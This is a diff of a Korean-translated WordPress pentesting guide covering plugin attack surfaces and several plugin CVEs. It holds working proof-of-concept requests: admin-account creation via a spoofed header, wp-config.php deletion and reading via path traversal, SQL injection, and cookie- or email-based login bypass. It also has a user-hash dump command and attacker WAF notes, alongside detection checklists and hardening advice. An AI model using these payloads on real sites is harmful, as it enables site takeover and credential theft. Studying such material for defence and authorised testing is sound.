WordPress 대시보드 단계의 시각적 설명이 포함되어 있습니다. 그러나 이러한 방식으로 취약점을 악용하는 것은 적절한 허가 없이 불법적이며 비윤리적임을 명심해야 합니다. 이 정보는 책임있게, 명시적인 허가가 있는 pentesting 등 합법적인 맥락에서만 사용해야 합니다. +이 내용에는 WordPress dashboard에서 plugin을 설치하고 활성화하는 절차를 보여주는 시각 자료가 포함되어 있습니다. 다만 이러한 방식으로 취약점을 악용하는 것은 적절한 권한 없이 불법적이고 비윤리적임을 반드시 주의하세요. 이 정보는 책임감 있게, 예를 들어 명시적 허가를 받은 penetration testing과 같은 합법적 맥락에서만 사용해야 합니다. **For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) -## XSS에서 RCE로 +## From XSS to RCE -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_는 WordPress에서 **Cross-Site Scripting (XSS)** 취약점을 **Remote Code Execution (RCE)** 또는 기타 치명적 취약점으로 상승시키기 위해 설계된 스크립트입니다. 자세한 내용은 [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)를 확인하세요. 이 도구는 **Wordpress Versions 6.X.X, 5.X.X and 4.X.X를 지원하며 다음을 허용합니다:** +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_는 WordPress에서 **Cross-Site Scripting (XSS)** 취약점을 **Remote Code Execution (RCE)** 또는 다른 심각한 취약점으로 상승시킬 수 있도록 설계된 스크립트입니다. 자세한 내용은 [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)를 확인하세요. 다음을 지원합니다: - _**Privilege Escalation:**_ WordPress에 사용자를 생성합니다. -- _**(RCE) Custom Plugin (backdoor) Upload:**_ 맞춤 플러그인(backdoor)을 WordPress에 업로드합니다. -- _**(RCE) Built-In Plugin Edit:**_ WordPress의 내장 플러그인을 편집합니다. -- _**(RCE) Built-In Theme Edit:**_ WordPress의 내장 테마를 편집합니다. -- _**(Custom) Custom Exploits:**_ 서드파티 WordPress 플러그인/테마를 위한 맞춤 익스플로잇을 제공합니다. +- _**(RCE) Custom Plugin (backdoor) Upload:**_ 커스텀 plugin(backdoor)을 WordPress에 업로드합니다. +- _**(RCE) Built-In Plugin Edit:**_ WordPress의 Built-In Plugins을 편집합니다. +- _**(RCE) Built-In Theme Edit:**_ WordPress의 Built-In Themes를 편집합니다. +- _**(Custom) Custom Exploits:**_ 서드파티 WordPress Plugins/Themes에 대한 Custom Exploits를 제공합니다. ## Post Exploitation -사용자명과 비밀번호 추출: +사용자 이름과 비밀번호 추출: ```bash mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;" ``` @@ -335,11 +335,11 @@ mysql -u --password= -h localhost -e "use wordpress;UPDATE ### 공격 표면 -Wordpress 플러그인이 기능을 어떻게 노출하는지 아는 것은 해당 기능의 취약점을 찾는 데 핵심입니다. 다음 목록에서 플러그인이 기능을 노출할 수 있는 방법과 취약한 플러그인의 몇 가지 예를 [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/)에서 확인할 수 있습니다. +Wordpress 플러그인이 기능을 어떻게 노출하는지 아는 것은 해당 기능의 취약점을 찾는 데 핵심적입니다. 플러그인이 기능을 어떻게 노출할 수 있는지는 다음 항목에서 확인할 수 있으며, 취약한 플러그인의 예시는 [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/)에서 볼 수 있습니다. - **`wp_ajax`** -플러그인이 사용자에게 기능을 노출하는 방법 중 하나는 AJAX handlers를 통한 것입니다. 이러한 것들은 logic, authorization, 또는 authentication 버그를 포함할 수 있습니다. 또한 이러한 함수들이 인증과 권한을 모두 Wordpress nonce의 존재 여부에 기반하는 경우가 꽤 자주 있으며, 이는 **Wordpress 인스턴스에서 인증된 모든 사용자가 가질 수 있습니다**(역할과 무관하게). +플러그인이 함수를 사용자에게 노출하는 방법 중 하나는 AJAX 핸들러를 통해서입니다. 이러한 핸들러에는 로직, authorization, 또는 authentication 버그가 포함될 수 있습니다. 게다가 이러한 함수들이 인증과 권한 부여를 모두 wordpress nonce의 존재에 기반하는 경우가 꽤 자주 발생하는데, 이 nonce는 **Wordpress 인스턴스에 인증된 어떤 사용자라도 가질 수 있습니다**(역할과 무관하게). 다음은 플러그인에서 함수를 노출하는 데 사용될 수 있는 함수들입니다: ```php @@ -349,11 +349,11 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); **`nopriv`의 사용은 엔드포인트를 모든 사용자(심지어 인증되지 않은 사용자)도 접근할 수 있게 만듭니다.** > [!CAUTION] -> 또한, 만약 함수가 단지 `wp_verify_nonce` 함수로 사용자의 권한을 확인하고 있다면, 이 함수는 사용자가 로그인했는지만 확인할 뿐 보통 사용자의 역할(role)은 확인하지 않습니다. 따라서 권한이 낮은 사용자가 권한이 높은 작업에 접근할 수 있습니다. +> 더군다나, 만약 함수가 `wp_verify_nonce` 함수로 사용자 권한만 확인한다면, 이 함수는 단지 사용자가 로그인했는지 여부만 확인할 뿐 보통 사용자의 역할(role)은 확인하지 않습니다. 따라서 권한이 낮은 사용자가 권한이 높은 작업에 접근할 수 있습니다. - **REST API** -또한 `register_rest_route` 함수를 사용해 wordpress에서 함수를 REST API로 등록하여 노출시키는 것도 가능합니다: +또한 wordpress에서 `register_rest_route` 함수를 사용해 REST API를 등록하여 함수를 노출시키는 것도 가능합니다: ```php register_rest_route( $this->namespace, '/get/', array( @@ -363,21 +363,21 @@ $this->namespace, '/get/', array( ) ); ``` -The `permission_callback`은 해당 사용자가 API 메서드를 호출할 권한이 있는지 검사하는 콜백 함수입니다. +The `permission_callback`는 주어진 사용자가 해당 API 메서드를 호출할 권한이 있는지 확인하는 콜백 함수입니다. -**내장 `__return_true` 함수가 사용되면 사용자 권한 검사를 건너뜁니다.** +**내장된 `__return_true` 함수를 사용하면 사용자 권한 확인을 건너뜁니다.** -- **php 파일에 대한 직접 접근** +- **직접적인 php 파일 접근** -물론, Wordpress는 PHP를 사용하며 플러그인 내부의 파일은 웹에서 직접 접근할 수 있습니다. 따라서 플러그인이 파일에 접근하기만 해도 트리거되는 취약한 기능을 노출하고 있다면, 모든 사용자가 이를 악용할 수 있습니다. +물론, Wordpress는 php를 사용하며 플러그인 내부의 파일은 웹에서 직접 접근할 수 있습니다. 따라서 플러그인이 파일에 접근하는 것만으로 실행되는 취약한 기능을 노출하고 있다면 모든 사용자가 이를 악용할 수 있습니다. ### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1) -일부 플러그인은 “trusted header” 단축을 내부 통합이나 리버스 프록시용으로 구현한 다음, REST 요청의 현재 사용자 컨텍스트를 설정하기 위해 해당 헤더를 사용합니다. 그 헤더가 업스트림 컴포넌트에 의해 요청과 암호학적으로 결속되어 있지 않으면, 공격자는 이를 스푸핑하여 관리자 권한으로 특권 REST 라우트에 접근할 수 있습니다. +일부 플러그인은 내부 통합이나 리버스 프록시용으로 “trusted header” 단축을 구현하고, 그 헤더를 사용해 REST 요청의 현재 사용자 컨텍스트를 설정합니다. 해당 헤더가 상위 구성요소에 의해 암호학적으로 요청에 바인딩되어 있지 않다면 공격자가 이를 스푸핑하여 administrator 권한으로 제한된 REST 경로에 접근할 수 있습니다. -- 영향: core users REST route를 통해 새 관리자 계정을 생성하여 인증 없이 관리자 권한으로 권한 상승. -- 예시 헤더: `X-Wcpay-Platform-Checkout-User: 1` (user ID 1을 강제로 지정 — 일반적으로 첫 번째 관리자 계정). -- 악용된 라우트: `POST /wp-json/wp/v2/users` (권한이 상승된 역할 배열과 함께). +- Impact: core users REST 경로를 통해 새로운 administrator를 생성하여 인증 없이 admin 권한으로 권한 상승. +- Example header: `X-Wcpay-Platform-Checkout-User: 1` (사용자 ID 1을 강제, 일반적으로 첫 번째 administrator 계정). +- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array. PoC ```http @@ -391,31 +391,31 @@ Content-Length: 114 {"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]} ``` -왜 작동하는가 +Why it works -- 플러그인이 클라이언트가 제어하는 헤더를 인증 상태로 매핑하고 권한 검사를 건너뛴다. -- WordPress 코어는 이 라우트에 대해 `create_users` 권한을 기대한다; 플러그인 해킹은 헤더에서 직접 현재 사용자 컨텍스트를 설정해 이를 우회한다. +- 플러그인이 클라이언트가 제어하는 헤더를 인증 상태에 대응시키고 권한 검사를 건너뜁니다. +- WordPress 코어는 이 라우트에 대해 `create_users` 권한을 요구합니다; 플러그인 해킹은 헤더에서 직접 현재 사용자 컨텍스트를 설정해 이를 우회합니다. -예상 성공 지표 +Expected success indicators - 생성된 사용자를 설명하는 JSON 본문과 함께 HTTP 201. -- `wp-admin/users.php`에 표시되는 새로운 관리자 사용자. +- `wp-admin/users.php`에서 보이는 새로운 관리자 계정. -탐지 체크리스트 +Detection checklist -- `getallheaders()`, `$_SERVER['HTTP_...']` 또는 사용자 정의 헤더를 읽어 사용자 컨텍스트를 설정하는 vendor SDKs를 grep한다(예: `wp_set_current_user()`, `wp_set_auth_cookie()`). -- 견고한 `permission_callback` 검사를 갖추지 못하고 대신 요청 헤더에 의존하는 권한 있는 콜백에 대한 REST 등록을 검토한다. -- REST 핸들러 내부에서 헤더 값으로만 제한되는 핵심 사용자 관리 함수(`wp_insert_user`, `wp_create_user`)의 사용을 찾아라. +- `getallheaders()`, `$_SERVER['HTTP_...']`, 또는 사용자 컨텍스트를 설정하기 위해 커스텀 헤더를 읽는 vendor SDKs를 grep합니다 (예: `wp_set_current_user()`, `wp_set_auth_cookie()`). +- request headers에 의존하고 강력한 `permission_callback` 검사가 없는 권한이 있는 콜백에 대한 REST 등록을 검토합니다. +- 헤더 값만으로 게이트된 REST 핸들러 내부에서 핵심 사용자 관리 함수들(`wp_insert_user`, `wp_create_user`)의 사용을 찾습니다. -### wp_ajax_nopriv을 통한 인증되지 않은 임의의 파일 삭제 (Litho Theme <= 3.0) +### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0) -WordPress 테마와 플러그인은 종종 `wp_ajax_` 및 `wp_ajax_nopriv_` 훅을 통해 AJAX 핸들러를 노출한다. **_nopriv_** 변형이 사용될 때 **콜백이 인증되지 않은 방문자에게 도달 가능해지므로**, 모든 민감한 동작은 추가로 다음을 구현해야 한다: +WordPress 테마와 플러그인은 자주 `wp_ajax_` 및 `wp_ajax_nopriv_` 훅을 통해 AJAX 핸들러를 노출합니다. **_nopriv_** 변형이 사용될 때 **콜백은 인증되지 않은 방문자에 의해 접근 가능해지므로**, 민감한 동작은 추가로 다음을 구현해야 합니다: -1. **권한 확인**(예: `current_user_can()` 또는 최소한 `is_user_logged_in()`), 그리고 -2. `check_ajax_referer()` / `wp_verify_nonce()`로 검증되는 **CSRF nonce**, 그리고 -3. **엄격한 입력 정제 / 검증**. +1. **권한 검사** (예: `current_user_can()` 또는 적어도 `is_user_logged_in()`), 및 +2. `check_ajax_referer()` / `wp_verify_nonce()`로 검증된 **CSRF nonce**, 및 +3. 입력값에 대한 엄격한 정제/검증. -Litho 멀티퍼포즈 테마 (< 3.1)는 *Remove Font Family* 기능에서 이 세 가지 제어를 누락했고, 결국 다음 코드를 포함하여 배포되었다(단순화됨): +Litho multipurpose theme (< 3.1)는 *Remove Font Family* 기능에서 이 3가지 제어를 누락하여 다음과 같은 코드(단순화됨)를 배포했습니다: ```php function litho_remove_font_family_action_data() { if ( empty( $_POST['fontfamily'] ) ) { @@ -434,15 +434,15 @@ die(); add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); ``` -이 스니펫으로 인해 발생하는 문제: +이 스니펫으로 인한 문제: -* **Unauthenticated access** – `wp_ajax_nopriv_` 훅이 등록되어 있습니다. +* **Unauthenticated access** – the `wp_ajax_nopriv_` hook is registered. * **No nonce / capability check** – 모든 방문자가 해당 엔드포인트에 접근할 수 있습니다. -* **No path sanitisation** – 사용자 제어 `fontfamily` 문자열이 필터링 없이 파일 시스템 경로에 이어붙여져 전형적인 `../../` traversal을 허용합니다. +* **No path sanitisation** – 사용자 제어 `fontfamily` 문자열이 필터링 없이 파일시스템 경로에 연결되어 클래식 `../../` 경로 이탈을 허용합니다. -#### 악용 +#### Exploitation -공격자는 단 한 번의 HTTP POST 요청으로 **uploads base directory 아래**(보통 `/wp-content/uploads/`)의 임의 파일이나 디렉터리를 삭제할 수 있습니다: +공격자는 단일 HTTP POST 요청을 전송함으로써 **uploads 기본 디렉터리 아래** (보통 `/wp-content/uploads/`)의 어떤 파일이나 디렉터리든 삭제할 수 있습니다: ```bash curl -X POST https://victim.com/wp-admin/admin-ajax.php \ -d 'action=litho_remove_font_family_action_data' \ @@ -450,21 +450,21 @@ curl -X POST https://victim.com/wp-admin/admin-ajax.php \ ``` Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user). -Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules. +다른 영향력 있는 대상에는 플러그인/테마의 `.php` 파일(보안 플러그인을 무력화하기 위해) 또는 `.htaccess` 규칙이 있다. -#### 탐지 체크리스트 +#### 감지 체크리스트 -* 파일 시스템 헬퍼(`copy()`, `unlink()`, `$wp_filesystem->delete()` 등)를 호출하는 모든 `add_action( 'wp_ajax_nopriv_...')` 콜백. -* 경로에 비검증 사용자 입력을 이어붙이는 경우(`$_POST`, `$_GET`, `$_REQUEST`를 확인). -* `check_ajax_referer()` 및 `current_user_can()`/`is_user_logged_in()`의 부재. +* Any `add_action( 'wp_ajax_nopriv_...')` callback that calls filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.). +* Concatenation of unsanitised user input into paths (look for `$_POST`, `$_GET`, `$_REQUEST`). +* Absence of `check_ajax_referer()` and `current_user_can()`/`is_user_logged_in()`. --- -### 오래된 역할 복원 및 인증 누락을 통한 권한 상승 (ASE "View Admin as Role") +### 오래된 역할 복원과 권한 검사 누락을 통한 권한 상승 (ASE "View Admin as Role") -Many plugins implement a "view as role" or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., `$_REQUEST['reset-for']`) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation. +많은 플러그인이 원래 역할을 user meta에 저장해 나중에 복원할 수 있게 "view as role" 또는 임시 역할 전환 기능을 구현한다. 복원 경로가 capabilities 확인과 유효한 nonce 없이 요청 변수(예: `$_REQUEST['reset-for']`)와 플러그인이 관리하는 목록에만 의존한다면, 이는 수직 권한 상승(vertical privilege escalation)이 된다. -A real-world example was found in the Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). The reset branch restored roles based on `reset-for=` if the username appeared in an internal array `$options['viewing_admin_as_role_are']`, but performed neither a `current_user_can()` check nor a nonce verification before removing current roles and re-adding the saved roles from user meta `_asenha_view_admin_as_original_roles`: +실제 사례로 Admin and Site Enhancements (ASE) 플러그인 (≤ 7.6.2.1)에서 발견됐다. reset 분기(branch)는 내부 배열 `$options['viewing_admin_as_role_are']`에 사용자가 존재하면 `reset-for=`에 따라 역할을 복원했지만, 현재 역할을 제거하고 user meta `_asenha_view_admin_as_original_roles`에서 저장된 역할을 다시 추가하기 전에 `current_user_can()` 체크나 nonce 검증을 전혀 수행하지 않았다: ```php // Simplified vulnerable pattern if ( isset( $_REQUEST['reset-for'] ) ) { @@ -479,11 +479,11 @@ foreach ( $orig as $r ) { $u->add_role( $r ); } } } ``` -왜 취약한가 +Why it’s exploitable -- 서버 측 권한 검증 없이 `$_REQUEST['reset-for']`와 플러그인 옵션을 신뢰한다. -- 사용자가 이전에 더 높은 권한을 `_asenha_view_admin_as_original_roles`에 저장해 두었고 이후 권한이 낮아진 경우, reset 경로에 접근해 이를 복원할 수 있다. -- 일부 배포에서는, 인증된 어떤 사용자도 `viewing_admin_as_role_are`에 여전히 남아 있는 다른 사용자명을 대상으로 리셋을 트리거할 수 있다(권한 검증 결함). +- 서버 측 권한 확인 없이 `$_REQUEST['reset-for']`와 플러그인 옵션을 신뢰한다. +- 사용자가 이전에 `_asenha_view_admin_as_original_roles`에 높은 권한이 저장되어 있다가 권한이 강등된 경우, reset 경로를 호출해 그 권한을 복원할 수 있다. +- 일부 배포 환경에서는 인증된 사용자라면 누구나 `viewing_admin_as_role_are`에 여전히 남아 있는 다른 사용자 이름에 대해 reset을 트리거할 수 있다(권한 검증 결함). Exploitation (example) ```bash @@ -493,21 +493,21 @@ Exploitation (example) curl -s -k -b 'wordpress_logged_in=...' \ 'https://victim.example/wp-admin/?reset-for=' ``` -On vulnerable builds this removes current roles and re-adds the saved original roles (e.g., `administrator`), effectively escalating privileges. +취약한 빌드에서는 이것이 현재 역할을 제거하고 저장된 원래 역할(예: `administrator`)을 다시 추가하여 실질적으로 권한을 상승시킵니다. Detection checklist -- user meta에 'original roles'를 영구 저장하는 역할 전환 기능을 찾아보세요(예: `_asenha_view_admin_as_original_roles`). +- user meta에 “original roles”를 유지하는 역할 전환 기능(예: `_asenha_view_admin_as_original_roles`)을 찾으세요. - 다음과 같은 리셋/복원 경로를 식별하세요: - - `$_REQUEST` / `$_GET` / `$_POST`에서 사용자명을 읽는지. - - `add_role()` / `remove_role()`로 역할을 변경하면서 `current_user_can()`와 `wp_verify_nonce()` / `check_admin_referer()` 없이 동작하는지. - - 행위자의 권한(capabilities) 대신 플러그인 옵션 배열(예: `viewing_admin_as_role_are`)에 기반해 권한을 부여하는지. + - 사용자명을 `$_REQUEST` / `$_GET` / `$_POST`에서 읽음. + - `current_user_can()` 및 `wp_verify_nonce()` / `check_admin_referer()` 없이 `add_role()` / `remove_role()`로 역할을 변경함. + - 행위자의 권한 대신 플러그인 옵션 배열(예: `viewing_admin_as_role_are`)에 기반해 권한을 부여함. --- ### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”) -Some plugins wire user-switching helpers to the public `init` hook and derive identity from a client-controlled cookie. If the code calls `wp_set_auth_cookie()` without verifying authentication, capability and a valid nonce, any unauthenticated visitor can force login as an arbitrary user ID. +일부 플러그인은 사용자 전환 헬퍼를 공개 `init` 훅에 연결하고 클라이언트가 제어하는 쿠키에서 신원을 유도합니다. 코드가 인증, 권한 및 유효한 nonce를 확인하지 않고 `wp_set_auth_cookie()`를 호출하면, 비인증 방문자도 임의의 사용자 ID로 강제 로그인할 수 있습니다. Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1): ```php @@ -538,11 +538,11 @@ wp_die('Original user not found.'); wp_die('No original user found to switch back to.'); } ``` -왜 취약한가 +취약한 이유 -- 공개된 `init` 훅으로 핸들러가 인증되지 않은 사용자도 접근할 수 있습니다 (`is_user_logged_in()` 보호 없음). -- 신원은 클라이언트에서 수정 가능한 쿠키(`original_user_id`)로부터 파생됩니다. -- `wp_set_auth_cookie($uid)`를 직접 호출하면 권한 또는 nonce 검사 없이 요청자를 해당 사용자로 로그인시킵니다. +- 공개된 `init` 훅은 핸들러가 인증되지 않은 사용자도 접근 가능하게 만듭니다(`is_user_logged_in()` 검사 없음). +- 식별은 클라이언트에서 수정 가능한 쿠키(`original_user_id`)로부터 파생됩니다. +- 직접적인 `wp_set_auth_cookie($uid)` 호출은 요청자를 해당 사용자로 로그인시키며 권한(capability)/nonce 검사 없이 실행됩니다. Exploitation (unauthenticated) ```http @@ -554,32 +554,32 @@ Connection: close ``` --- -### WAF considerations for WordPress/plugin CVEs +### WAF 고려사항 — WordPress/plugin CVEs Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many high‑impact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics. -공격 노트 +공격자 노트 -- Target plugin-specific endpoints with clean payloads: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. -- Exercise unauth paths first (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads often succeed without obfuscation. -- Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect. +- 플러그인별 엔드포인트를 깨끗한 페이로드로 타깃하세요: `admin-ajax.php?action=...`, `wp-json//`, 사용자 정의 파일 핸들러, shortcodes. +- 우선 unauth 경로를 먼저 테스트하세요 (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). 기본 페이로드는 종종 난독화 없이도 성공합니다. +- 전형적인 높은 영향 사례: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect. 방어 노트 -- Don’t rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly. -- Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters. +- 일반적인 WAF 시그니처만으로 plugin CVEs를 보호하지 마세요. 애플리케이션 레이어 수준의 취약점별 가상 패치를 구현하거나 신속히 업데이트하세요. +- 코드에서는 negative regex 필터보다 positive-security 체크(예: capabilities, nonces, 엄격한 입력 검증)를 우선 적용하세요. -## WordPress Protection +## WordPress 보호 -### Regular Updates +### 정기 업데이트 -Make sure WordPress, plugins, and themes are up to date. Also confirm that automated updating is enabled in wp-config.php: +WordPress, plugins, and themes가 최신 상태인지 확인하세요. 또한 wp-config.php에서 자동 업데이트가 활성화되어 있는지 확인하세요: ```bash define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' ); ``` -Also, **only install trustable WordPress plugins and themes**. +또한, **신뢰할 수 있는 WordPress 플러그인과 테마만 설치하세요**. ### 보안 플러그인 @@ -587,18 +587,18 @@ Also, **only install trustable WordPress plugins and themes**. - [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/) - [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/) -### **기타 권장사항** +### **기타 권장 사항** - 기본 **admin** 사용자 제거 -- **강력한 비밀번호**와 **2FA** 사용 +- 강력한 **비밀번호**와 **2FA** 사용 - 주기적으로 사용자 **권한**을 **검토**하세요 - Brute Force 공격을 방지하기 위해 **로그인 시도 제한** 적용 -- **`wp-admin.php`** 파일 이름을 변경하고 내부 또는 특정 IP에서만 접근 허용 +- **`wp-admin.php`** 파일 이름을 변경하고 내부에서만 또는 특정 IP 주소에서만 접근을 허용하세요. -### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2) +### 인증되지 않은 SQL Injection — 부적절한 검증으로 인해 (WP Job Portal <= 2.3.2) -The WP Job Portal recruitment plugin exposed a **savecategory** task that ultimately executes the following vulnerable code inside `modules/category/model.php::validateFormData()`: +WP Job Portal recruitment plugin은 **savecategory** 작업을 노출시켰고, 이는 결국 다음의 취약한 코드를 `modules/category/model.php::validateFormData()` 내부에서 실행합니다: ```php $category = WPJOBPORTALrequest::getVar('parentid'); $inquery = ' '; @@ -608,19 +608,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗ $query = "SELECT max(ordering)+1 AS maxordering FROM " . wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later ``` -Issues introduced by this snippet: +이 스니펫이 유발하는 문제: -1. **Unsanitised user input** – `parentid` comes straight from the HTTP request. -2. **String concatenation inside the WHERE clause** – no `is_numeric()` / `esc_sql()` / prepared statement. -3. **Unauthenticated reachability** – although the action is executed through `admin-post.php`, the only check in place is a **CSRF nonce** (`wp_verify_nonce()`), which any visitor can retrieve from a public page embedding the shortcode `[wpjobportal_my_resumes]`. +1. **Unsanitised user input** – `parentid`가 HTTP 요청에서 그대로 전달됩니다. +2. **String concatenation inside the WHERE clause** – `is_numeric()` / `esc_sql()` / prepared statement 없음. +3. **Unauthenticated reachability** – 해당 액션은 `admin-post.php`를 통해 실행되지만, 유일한 검증은 **CSRF nonce** (`wp_verify_nonce()` )뿐이며, 이 nonce는 shortcode `[wpjobportal_my_resumes]`를 포함한 공용 페이지에서 누구나 가져올 수 있습니다. -#### Exploitation +#### 악용 -1. 새로운 nonce를 가져옵니다: +1. 새로운 nonce 획득: ```bash curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4 ``` -2. `parentid`를 악용해 임의의 SQL을 주입합니다: +2. `parentid`를 악용해 임의의 SQL을 주입: ```bash curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'task=savecategory' \ @@ -628,18 +628,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'parentid=0 OR 1=1-- -' \ -d 'cat_title=pwn' -d 'id=' ``` -응답은 주입된 쿼리의 결과를 노출하거나 데이터베이스를 변경하여 SQLi를 입증합니다. +응답은 주입된 쿼리의 결과를 노출하거나 데이터베이스를 변경하여 SQLi가 존재함을 입증합니다. ### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2) -Another task, **downloadcustomfile**, allowed visitors to download **any file on disk** via path traversal. The vulnerable sink is located in `modules/customfield/model.php::downloadCustomUploadedFile()`: +다른 작업인 **downloadcustomfile**는 방문자가 Path Traversal을 이용해 디스크상의 **모든 파일**을 다운로드할 수 있게 허용했습니다. 취약한 sink는 `modules/customfield/model.php::downloadCustomUploadedFile()`에 위치합니다: ```php $file = $path . '/' . $file_name; ... echo $wp_filesystem->get_contents($file); // raw file output ``` -`$file_name`은 공격자가 제어하며 **without sanitisation** 상태로 이어붙여집니다. 다시 말하면, 유일한 장벽은 이력서 페이지에서 가져올 수 있는 **CSRF nonce**입니다. +`$file_name`은 공격자가 제어하며 **입력 정화 없이** 연결됩니다. 다시 말해, 유일한 관문은 이력서 페이지에서 가져올 수 있는 **CSRF nonce**입니다. #### Exploitation ```bash @@ -650,13 +650,13 @@ curl -G https://victim.com/wp-admin/admin-post.php \ --data-urlencode 'entity_id=1' \ --data-urlencode 'file_name=../../../wp-config.php' ``` -서버가 `wp-config.php`의 내용을 반환하여 DB credentials와 auth keys를 leak한다. +서버가 `wp-config.php`의 내용을 응답하여, leaking DB credentials and auth keys. -## Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9) +## Social Login AJAX fallback를 통한 인증되지 않은 계정 탈취 (Jobmonster Theme <= 4.7.9) -많은 테마/플러그인은 admin-ajax.php를 통해 노출되는 "social login" 헬퍼를 포함한다. 인증되지 않은 AJAX 액션(wp_ajax_nopriv_...)이 provider 데이터가 없을 때 클라이언트가 제공한 식별자를 신뢰하고 wp_set_auth_cookie()를 호출하면, 이는 완전한 인증 우회가 된다. +많은 테마/플러그인이 admin-ajax.php를 통해 노출된 "social login" 헬퍼를 제공합니다. 만약 인증되지 않은 AJAX 액션(wp_ajax_nopriv_...)이 provider 데이터가 없을 때 클라이언트가 제공한 식별자를 신뢰하고 wp_set_auth_cookie()를 호출하면, 이는 완전한 인증 우회가 됩니다. -Typical flawed pattern (simplified) +전형적인 취약 패턴(단순화) ```php public function check_login() { // ... request parsing ... @@ -685,17 +685,17 @@ wp_send_json(['status' => 'not_user']); } // add_action('wp_ajax_nopriv_', [$this, 'check_login']); ``` -왜 취약한가 +Why it’s exploitable -- 인증 없이 admin-ajax.php를 통해 접근 가능 (wp_ajax_nopriv_… action). -- 상태 변경 전에 nonce/capability 체크 없음. -- OAuth/OpenID provider 검증 누락; default branch가 공격자 입력을 수용함. -- get_user_by('email', $_POST['id']) 다음에 wp_set_auth_cookie($uid)를 호출하면 요청자를 기존 이메일 주소 중 하나로 인증함. +- admin-ajax.php를 통해 인증 없이 접근 가능 (wp_ajax_nopriv_… action). +- 상태 변경 전에 nonce/capability 검증이 없음. +- OAuth/OpenID provider 검증 누락; 기본 분기(default branch)가 공격자 입력을 수용함. +- get_user_by('email', $_POST['id']) 다음에 wp_set_auth_cookie($uid)가 호출되면 요청자를 기존 이메일 주소의 계정으로 인증시킴. -악용 (비인증) +Exploitation (unauthenticated) -- 전제조건: 공격자가 /wp-admin/admin-ajax.php에 접근할 수 있고 유효한 사용자 이메일을 알고 있거나 추측할 수 있음. -- provider를 지원되지 않는 값으로 설정(또는 생략)하여 default branch를 타게 한 뒤 id=를 전달. +- Prerequisites: 공격자가 /wp-admin/admin-ajax.php에 접근 가능하고 유효한 사용자 이메일을 알고 있거나 추측할 수 있음. +- provider를 지원되지 않는 값으로 설정(또는 생략)하여 기본 분기(default branch)를 타게 하고 id=를 전달. ```http POST /wp-admin/admin-ajax.php HTTP/1.1 Host: victim.tld @@ -715,34 +715,34 @@ Expected success indicators Finding the action name -- Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php). -- Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers. +- 테마/플러그인에서 social login 코드의 add_action('wp_ajax_nopriv_...', '...') 등록을 확인 (예: framework/add-ons/social-login/class-social-login.php). +- AJAX 핸들러 내부에서 wp_set_auth_cookie(), get_user_by('email', ...) 등을 grep로 검색. Detection checklist -- Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=. -- 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent. +- /wp-admin/admin-ajax.php에 대해 social-login action과 id=을 포함한 인증되지 않은 POST가 웹 로그에 기록됨. +- 동일 IP/User-Agent에서 성공 JSON을 반환한 200 응답 직후 인증된 트래픽 발생. Hardening -- 클라이언트 입력으로부터 신원을 유추하지 마세요. 검증된 provider 토큰/ID에서 유래한 이메일/ID만 허용하십시오. -- 로그인 헬퍼에도 CSRF 